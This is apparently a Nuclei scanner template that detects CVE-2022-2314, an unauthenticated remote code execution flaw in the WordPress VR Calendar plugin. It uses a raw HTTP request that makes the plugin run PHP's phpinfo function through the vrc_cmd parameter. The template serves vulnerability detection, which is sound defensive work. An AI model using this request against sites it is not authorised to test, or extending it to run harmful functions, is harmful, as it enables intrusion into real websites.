id: CVE-2022-2314

info:
  name: WordPress VR Calendar <=2.3.2 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    WordPress VR Calendar plugin through 2.3.2 is susceptible to remote code execution. The plugin allows any user to execute arbitrary PHP functions on the site. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.
  remediation: |
    Update the WordPress VR Calendar plugin to version 2.3.3 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/b22fe77c-844e-4c24-8023-014441cc1e82
    - https://wordpress.org/plugins/vr-calendar-sync/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2314
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-2314
    cwe-id: CWE-78,NVD-CWE-noinfo
    epss-score: 0.12937
    epss-percentile: 0.95918
    cpe: cpe:2.3:a:vr_calendar_project:vr_calendar:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: vr_calendar_project
    product: vr_calendar
    framework: wordpress
  tags: cve,cve2022,wordpress,wp,wp-plugin,rce,vr-calendar-sync,unauth,wpscan,vr_calendar_project,vkev,vuln

http:
  - raw:
      - |
        GET /wp-content/plugins/vr-calendar-sync/assets/js/public.js HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-admin/admin-post.php?vrc_cmd=phpinfo HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "phpinfo"
          - "PHP Version"
        condition: and

      - type: word
        part: body_1
        words:
          - "vrc-calendar"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210090dbd93d6c2e7808668d47894906b8a9d0da1ba148ab0f0e41235c0fb0dcdddb02204dd9cb88b88ba8d7858636a3b74d08fae1d809b317051828e7aae92afc3b42fc:922c64590222798bb761d5b6d8e72950